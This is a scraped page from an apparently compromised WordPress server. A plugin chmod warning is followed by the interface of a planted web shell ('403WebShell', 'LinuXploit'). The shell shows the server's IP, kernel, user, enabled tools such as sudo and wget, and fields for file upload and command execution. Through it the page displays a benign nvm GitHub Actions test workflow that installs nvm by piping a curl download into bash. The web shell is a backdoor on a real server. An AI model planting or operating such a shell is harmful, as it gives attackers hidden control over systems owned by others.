Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/.nvm/.github/workflows/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/.nvm/.github/workflows/nvm-install-test.yml
name: 'Tests: nvm install with set -e'

on:
  pull_request:
  push:
  workflow_dispatch:
    inputs:
      ref:
        description: 'git ref to use'
        required: false
        default: 'HEAD'

jobs:
  matrix:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.matrix.outputs.matrix }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - id: matrix
        run: |
          if [ "${{ github.event_name }}" == "workflow_dispatch" ] && [ -n "${{ github.event.inputs.ref }}" ]; then
            echo "matrix=\"[\"${{ github.event.inputs.ref }}\"]\"" >> $GITHUB_OUTPUT
          else
            TAGS="$((echo "HEAD" && git tag --sort=-v:refname --merged HEAD --format='%(refname:strip=2) %(creatordate:short)' | grep '^v' | while read tag date; do
              if [ "$(uname)" == "Darwin" ]; then
                timestamp=$(date -j -f "%Y-%m-%d" "$date" +%s)
                threshold=$(date -j -v-4y +%s)
              else
                timestamp=$(date -d "$date" +%s)
                threshold=$(date -d "4 years ago" +%s)
              fi
              if [ $timestamp -ge $threshold ]; then echo "$tag"; fi
            done) | xargs)"
            echo $TAGS
            TAGS_JSON=$(printf "%s\n" $TAGS | jq -R . | jq -sc .)
            echo "matrix=${TAGS_JSON}" >> $GITHUB_OUTPUT
          fi

  test:
    needs: [matrix]
    runs-on: ubuntu-latest
    continue-on-error: ${{ matrix.ref == 'v0.40.0' }} # https://github.com/nvm-sh/nvm/issues/3405
    strategy:
      fail-fast: false
      matrix:
        ref: ${{ fromJson(needs.matrix.outputs.matrix) }}
        has-nvmrc:
          - 'no nvmrc'
          - 'nvmrc'
        shell-level:
          - 1 shlvl
          - 2 shlvls

    steps:
      - uses: actions/checkout@v4
      - name: resolve HEAD to sha
        run: |
          if [ '${{ matrix.ref }}' = 'HEAD' ]; then
            REF="$(git rev-parse HEAD)"
          else
            REF="${{ matrix.ref }}"
          fi
          echo "resolved ref: ${REF}"
          echo "ref="$REF"" >> $GITHUB_ENV
      - run: echo $- # which options are set
      - run: echo node > .nvmrc
        if: ${{ matrix.has-nvmrc == 'nvmrc' }}
      - run:  curl -I --compressed -v https://nodejs.org/dist/
      - name: 'install nvm'
        run: |
          set -e
          export NVM_INSTALL_VERSION="${ref}"
          curl -o- "https://raw.githubusercontent.com/nvm-sh/nvm/${ref}/install.sh" | bash
      - name: nvm --version
        run: |
          set +e
          . $NVM_DIR/nvm.sh && nvm --version
      - name: nvm install in 1 shell level, ${{ matrix.has-nvmrc }}
        if: ${{ matrix.shell-level == '1 shlvl' }}
        run: |
          set -ex
          . $NVM_DIR/nvm.sh
          echo nvm.sh sourced
          nvm --version
          if [ '${{ matrix.has-nvmrc }}' == 'nvmrc' ]; then
            nvm install
          fi
      - name: nvm install in 2 shell levels, ${{ matrix.has-nvmrc }}
        if: ${{ matrix.shell-level == '2 shlvls' }}
        run: |
          if [ '${{ matrix.has-nvmrc }}' == 'nvmrc' ]; then
            bash -c "set -ex && . $NVM_DIR/nvm.sh && echo nvm.sh sourced && nvm --version && nvm install"
          else
            bash -c "set -ex && . $NVM_DIR/nvm.sh && echo nvm.sh sourced && nvm --version"
          fi

  finisher:
    runs-on: ubuntu-latest
    needs: [test]
    steps:
      - run: true

Youez - 2016 - github.com/yon3zu
LinuXploit